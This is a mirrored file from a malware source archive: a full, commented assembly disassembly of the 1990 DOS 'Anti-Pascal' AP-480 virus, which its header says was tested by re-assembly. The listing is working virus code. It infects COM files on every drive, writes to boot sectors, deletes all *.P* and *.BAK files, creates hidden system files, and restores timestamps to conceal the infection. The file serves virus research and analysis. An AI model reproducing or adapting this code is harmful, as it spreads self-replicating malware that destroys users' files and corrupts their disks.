mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
316 lines
7.2 KiB
NASM
316 lines
7.2 KiB
NASM
page ,132
|
||
name AP480
|
||
title The 'Anti-Pascal' virus, version AP-480
|
||
.radix 16
|
||
|
||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º
|
||
; º Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 º
|
||
; º º
|
||
; º The 'Anti-Pascal' Virus, version AP-480 º
|
||
; º Disassembled by Vesselin Bontchev, June 1990 º
|
||
; º º
|
||
; º Copyright (c) Vesselin Bontchev 1989, 1990 º
|
||
; º º
|
||
; º This listing is only to be made available to virus researchers º
|
||
; º or software writers on a need-to-know basis. º
|
||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||
|
||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||
|
||
code segment
|
||
assume cs:code, ds:code
|
||
|
||
org 100
|
||
|
||
v_const = 2042d
|
||
|
||
start:
|
||
jmp v_entry
|
||
db 0CA ; Virus signature
|
||
|
||
db (2048d - 9) dup (90)
|
||
|
||
mov ax,4C00
|
||
int 21
|
||
|
||
v_start label byte
|
||
first4 db 0E9, 0F8, 7, 90
|
||
allcom db '*.COM', 0
|
||
|
||
mydta label byte
|
||
reserve db 15 dup (?)
|
||
attrib db ?
|
||
time dw ?
|
||
date dw ?
|
||
fsize dd ?
|
||
namez db 14d dup (?)
|
||
|
||
allp db 0, '????????P??'
|
||
allbak db 0, '????????BAK'
|
||
maxdrv db ?
|
||
|
||
v_entry:
|
||
push ax ; Save AX & DX
|
||
push dx
|
||
|
||
mov ah,19 ; Get the default drive
|
||
int 21
|
||
push ax ; Save it on stack
|
||
mov ah,0E ; Set it as default (?!)
|
||
mov dl,al
|
||
int 21 ; Do it
|
||
|
||
call self ; Determine the virus' start address
|
||
self:
|
||
pop si
|
||
sub si,offset self-v_const
|
||
|
||
; Save the number of logical drives in the system:
|
||
|
||
mov byte ptr [si+offset maxdrv-v_const],al
|
||
|
||
; Restore the first 4 bytes of the infected program:
|
||
|
||
mov ax,[si+offset first4-v_const]
|
||
mov word ptr ds:[offset start],ax
|
||
mov ax,[si+offset first4+2-v_const]
|
||
mov word ptr ds:[offset start+2],ax
|
||
|
||
mov ah,1A ; Set new DTA
|
||
lea dx,[si+offset mydta-v_const]
|
||
int 21 ; Do it
|
||
|
||
pop ax ; Restore current drive in AL
|
||
push ax ; Keep it on stack
|
||
|
||
call inf_drive ; Proceed with the current drive
|
||
|
||
xor al,al ; For all logical drives in the system
|
||
drv_lp:
|
||
call inf_drive ; Proceed with drive
|
||
jbe drv_lp ; Loop until no more drives
|
||
|
||
pop ax ; Restore the saved current drive
|
||
mov ah,0E ; Set it as current drive
|
||
mov dl,al
|
||
int 21 ; Do it
|
||
|
||
mov dx,80 ; Restore original DTA
|
||
mov ah,1A
|
||
int 21 ; Do it
|
||
|
||
mov si,offset start
|
||
pop dx ; Restore DX & AX
|
||
pop ax
|
||
jmp si ; Run the original program
|
||
|
||
inf_drive:
|
||
push ax ; Save the selected drive number on stack
|
||
mov ah,0E ; Select that drive
|
||
mov dl,al
|
||
int 21 ; Do ti
|
||
pop ax ; Restore AX
|
||
|
||
push ax ; Save the registers used
|
||
push bx
|
||
push cx
|
||
push si ; Save SI
|
||
|
||
mov cx,1 ; Read the boot sector of the drive specified
|
||
xor dx,dx
|
||
lea bx,[si+offset v_end-v_const]
|
||
push ax ; Save AX
|
||
push bx ; Save BX, CX & DX also
|
||
push cx
|
||
push dx
|
||
int 25 ; Do read
|
||
pop dx ; Clear the stack
|
||
pop dx ; Restore saved DX, CX & BX
|
||
pop cx
|
||
pop bx
|
||
jc bad_drv ; Exit on error
|
||
|
||
inc byte ptr [bx] ; Increment the first byte (?!)
|
||
cmp byte ptr [bx+1],6F ; Second byte == 111 (?!)
|
||
jne wr_drive ; Write the new values if not
|
||
|
||
bad_drv:
|
||
pop ax ; Restore AX
|
||
pop si ; Restore SI
|
||
drv_xit:
|
||
pop cx ; Restore used registers
|
||
pop bx
|
||
pop ax
|
||
|
||
inc al ; Go to next drive number
|
||
cmp al,[si+offset maxdrv-v_const] ; See if there are more drives
|
||
ret ; Exit
|
||
|
||
wr_drive:
|
||
pop ax ; Restore drive number in AL
|
||
int 26 ; Do write
|
||
pop ax ; Clear the stack
|
||
pop si ; Restore Si
|
||
jc drv_xit ; Exit on error
|
||
|
||
; Find first COM file on the current directory of the selected drive:
|
||
|
||
mov ah,4E
|
||
xor cx,cx ; Normal files only
|
||
lea dx,[si+offset allcom-v_const] ; File mask
|
||
next:
|
||
int 21 ; Do find
|
||
jc no_more ; Quit search if no more such files
|
||
lea dx,[si+offset namez-v_const] ; Get file name found
|
||
call infect ; Infect that file
|
||
mov ah,4F ; Prepare for FindNext
|
||
jc next ; If infection not successful, go to next file
|
||
jmp drv_xit ; Otherwise quit
|
||
|
||
no_more:
|
||
lea di,[si+offset v_end-v_const]
|
||
cmp byte ptr [di],80
|
||
jb drv_xit
|
||
|
||
; Form the current directory path at v_end:
|
||
|
||
mov al,'\' ; '\' for the root
|
||
stosb ; Put that character
|
||
xchg si,di ; Save DI
|
||
|
||
mov ah,47 ; Get current directory
|
||
xor dl,dl ; of the default drive and put it there too
|
||
int 21 ; Do it
|
||
|
||
xchg si,di ; Restore DI
|
||
xor al,al ; Go to the end of paht (?!)
|
||
mov cx,64d
|
||
repne scasb ; Do it
|
||
dec di ; Go to the previous byte
|
||
|
||
mov ah,13 ; Delete all *.P* files in that dir
|
||
lea dx,[si+offset allp-v_const]
|
||
int 21 ; Do it
|
||
cmp al,-1
|
||
je drv_xit ; Exit on error
|
||
|
||
mov ah,13 ; Delete all *.BAK files too
|
||
lea dx,[si+offset allbak-v_const]
|
||
int 21 ; Do it
|
||
|
||
mov cx,20d ; Create 20 temporary files (?!)
|
||
mov ah,5A
|
||
lea dx,[si+offset v_end-v_const]
|
||
|
||
creat_lp:
|
||
push cx ; Save registers used
|
||
push ax
|
||
push dx
|
||
mov byte ptr [di],0
|
||
mov cx,7 ; With ReadOnly, Hidden and System attributes
|
||
int 21 ; Do it
|
||
|
||
pop dx ; Save used registers
|
||
pop ax
|
||
pop cx
|
||
loop creat_lp ; Loop until done
|
||
|
||
jmp drv_xit ; Done. Exit
|
||
|
||
namaddr dw ? ; Address of the file name buffer
|
||
|
||
infect:
|
||
mov [si+offset namaddr-v_const],dx ; Save file name address
|
||
|
||
mov ax,4301 ; Reset all file attributes
|
||
xor cx,cx
|
||
int 21 ; Do it
|
||
jnc inf_cont ; Continue if all OK
|
||
inf_xit:
|
||
ret ; Otherwise exit
|
||
|
||
inf_cont:
|
||
mov ax,3D02 ; Open file for both reading and writing
|
||
int 21
|
||
jc inf_xit ; Exit on arror
|
||
mov bx,ax ; Save file handle in BX
|
||
|
||
mov cx,4 ; Read the first 4 bytes of the file
|
||
mov ah,3F
|
||
lea di,[si+offset first4-v_const] ; Save them in first4
|
||
mov dx,di
|
||
int 21 ; Do it
|
||
jc quit ; Exit on error
|
||
|
||
cmp byte ptr [di+3],0CA ; File already infected?
|
||
stc ; Set CF to indicate it
|
||
jz quit ; Don't touch this file if so
|
||
|
||
mov cx,[si+offset fsize-v_const]
|
||
cmp cx,2048d ; Check if file size >= 2048 bytes
|
||
jb quit ; Exit if not
|
||
cmp cx,64000d ; Check if file size <= 64000 bytes
|
||
stc ; Set CF to indicate it
|
||
ja quit ; Exit if not
|
||
|
||
xor cx,cx ; Seek to file end
|
||
xor dx,dx
|
||
mov ax,4202
|
||
int 21 ; Do it
|
||
push ax ; Save file size on stack
|
||
jc quit ; Exit on error
|
||
|
||
; Write the virus body after the end of file:
|
||
|
||
mov cx,v_end-v_start
|
||
nop
|
||
lea dx,[si+offset v_start-v_const]
|
||
mov ah,40
|
||
int 21 ; Do it
|
||
jc quit ; Exit on error
|
||
pop ax ; Restore file size in AX
|
||
|
||
; Form a new address for the first JMP instruction in AX:
|
||
|
||
add ax,v_entry-v_start-3
|
||
mov byte ptr [di],0E9 ; JMP opcode
|
||
mov [di+1],ax
|
||
mov byte ptr [di+3],0CA ; Set the "file infected" sign
|
||
|
||
xor cx,cx ; Seek to file beginning
|
||
xor dx,dx
|
||
mov ax,4200
|
||
int 21 ; Do it
|
||
jc quit ; Exit on error
|
||
|
||
mov cx,4 ; Write the new first 4 bytes of the file
|
||
mov dx,di
|
||
mov ah,40
|
||
int 21 ; Do it
|
||
|
||
quit:
|
||
pushf ; Save flags
|
||
|
||
mov ax,5701 ; Set file date & time
|
||
mov cx,[si+offset time-v_const] ; Get time from mydta
|
||
mov dx,[si+offset date-v_const] ; Get date from mydta
|
||
int 21 ; Do it
|
||
|
||
mov ah,3E ; Close the file
|
||
int 21
|
||
|
||
mov ax,4301 ; Set file attributes
|
||
mov cl,[si+offset attrib-v_const] ; Get them from mydta
|
||
xor ch,ch
|
||
mov dx,[si+offset namaddr-v_const] ; Point to file name
|
||
int 21 ; Do it
|
||
|
||
popf ; Restore flags
|
||
ret
|
||
|
||
v_end equ $
|
||
|
||
code ends
|
||
end start
|
||
|